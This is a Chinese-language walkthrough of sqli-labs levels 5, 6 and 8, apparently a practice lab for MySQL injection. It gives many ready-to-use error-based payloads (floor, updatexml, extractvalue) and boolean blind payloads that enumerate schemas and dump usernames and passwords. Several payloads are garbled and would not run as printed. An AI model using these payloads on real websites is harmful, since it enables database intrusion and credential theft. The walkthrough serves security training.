Less-5
正确的思路是盲注。从源代码中可以看到,运行返回结果正确的时候只返回 you are in….,不会返回数据库当中的信息了(但会print_f(mysql_error()),这点很重要),所以我们不能利用前面 less1-4 的方法。
报错注入
发现sql语句有错误,这里就想到报错注入
什么是报错注入呢?
报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。0x7e=’~’
首先介绍三种报错注入常用的语句: (1). 通过floor报错 and (select 1 from (select
count(*),concat(( payload),floor (rand(0)*2))x from
information_schema.tables group by x)a) 其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符
(2). 通过updatexml报错 and updatexml(1, payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效
(3). 通过ExtractValue报错 and extractvalue(1, payload) 输出字符有长度限制,最长32位。
这些是我参考大佬的博客所得到的
floor报错注入
查询库名
?id=1’ and (select 1 from (select count(*),concat((select group_concat(schema_name) from information_schema.schemata),floor (rand()*2)) as x from information_schema.tables group by x) as a) –+
提示说输出信息超过一行,说明这里数据库名组成的字符串长度超过了64位(group_concat()函数最大长度为64位)—-但是我测试了一下最多可以有70多位,要用limit 来一个个输出
1、limit 0,1
?id=1’ and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) –+
查出了名为information_schema的数据库
2、limit 1,1
?id=1’ and (select 1 from (select count(),concat((select schema_name from information_schema.schemata limit 1,1),floor (rand()2)) as x from information_schema.tables group by x) as a) –+`
查出了名为challenges**的数据库
3、limit 2,1
?id=1’ and (select 1 from (select count(),concat((select schema_name from information_schema.schemata limit 2,1),floor (rand()2)) as x from information_schema.tables group by x) as a) –+`
查出来名为mysql**的数据库
4、limit 3,1
?id=1’ and (select 1 from (select count(),concat((select schema_name from information_schema.schemata limit 3,1),floor (rand()2)) as x from information_schema.tables group by x) as a) –+`
查出来名为performance_schema**的数据库
5、limit 4,1
?id=1’ and (select 1 from (select count(),concat((select schema_name from information_schema.schemata limit 4,1),floor (rand()2)) as x from information_schema.tables group by x) as a) –+`
查出来名为security**的数据库
然后是limit 5,1 ,是名为test的数据库
直到limit 6,1,不报错.说明只有6条数据库
查询表名
这里利用security库,在limit 3,1里找到了users表
?id=1’ and (select 1 from (select count(*),concat(((select concat(table_name) from information_schema.tables where table_schema=’security’ limit 3,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) –+
字段
下面查询users表里的字段
limit 0,1 是id
?id=1’ and (select 1 from (select count(*),concat((select concat(column_name,’;’) from information_schema.columns where table_name=’users’ limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) –+
limit 1,1 是username
?id=1’ and (select 1 from (select count(*),concat((select concat(column_name,’;’) from information_schema.columns where table_name=’users’ limit 1,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) –+
limit 2,1 是password
?id=1’ and (select 1 from (select count(*),concat((select concat(column_name,’;’) from information_schema.columns where table_name=’users’ limit 2,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) –+
查询username、password字段的值
同样 limit 0,1
?id=1’ and(select 1 from (select count(*),concat((select concat(username,’: ‘,password,’;’) from security.users limit 0,1),floor(rand()*2)) as x from security.users group by x) as a)–+
limit 1,1
?id=1’ and(select 1 from (select count(*),concat((select concat(username,’: ‘,password,’;’) from security.users limit 1,1),floor(rand()*2)) as x from security.users group by x) as a)–+`
…….
依次输出;
updatexml报错
UpdateXML(xml_target, xpath_expr, new_xml)
xml_target:: 需要操作的xml片段
xpath_expr: 需要更新的xml路径(Xpath格式)
new_xml: 更新后的内容
此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。
爆数据库
?id=1’ or updatexml(1,concat(0x7e,database(),0x7e),1)–+
爆表名
?id=1’ or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’security’),0x7e),1)–+
爆字段
?id=1’ or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name=’users’),0x7e),1)–+
爆字段的值
?id=1’ or updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)–+
extractvalue函数
ExtractValue(xml_frag, xpath_expr)
ExtractValue()接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。
第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径
爆数据库
?id=1’ and extractvalue(1,concat(0x7e,database(),0x7e))–+
爆表名
?id=1’ and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x23))–+
爆列名(字段)
?id=1’ and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name=’users’ limit 1,1),0x23))–+
爆值
?id=1’ and extractvalue(1,concat(0x23,(select username from users limit 1,1),0x23))–+
这里也需要不断改变limit的条件,找到我们想要的表名,字段名!
bool盲注
观察到如果正确,就输出you are in……;如果不正确,就不输出。
如id=3,有这个值,所以输出了you are in。id=-3,是错误的,所以输出了空白
因此可以根据这个现象来推测。
?id=3’ and length(database())=7–+
‘ 的作用,是闭合。length(database())是得到数据库的字符串长度。
字符串长度不是7,报错。
字符串长度等于8,没报错了
说明字符串的长度是8。即数据库的名字有8个字符。
?id=3’ and ascii(substr(database(),1,1))>115–+
substr(var1, var2, var3)
功能:从字符串里截取其中一段字符(串)
- var1:被截取的字符串
- var2:从哪一位开始截取
- var3:截取长度
ascii(var)
功能:取var字符的ascii码(十进制)
数据库的第一位字符的ASCII码值大于114,不大于115,所以是115。
查表可知115对应的字符是s,即第一位是s
100正常,101报错, 对应的是e
?id=3’ and ascii(substr(database(),2,1))>100–+
98正常,99报错, 对应的是c
?id=3’ and ascii(substr(database(),3,1))>98–+
……
120正常,121报错, 对应的是y
?id=3’ and ascii(substr(database(),8,1))>120–+
得出数据库的名字是:security
知道了库名,就是表名了:
100正常,101报错, 对应的是e
?id=3’ and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=’security’),1,1))>100–+
108正常,109报错,对应的是m
?id=3’ and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=’security’),2,1))>108–+
emails
利用limit来输出其他的表名
……
就这样,得出表名,列名及字段(参考报错注入)
Less-6
第六关原理和第五关一样,就是第六关是双引号,解法同上
Less-8
第八关也是一样的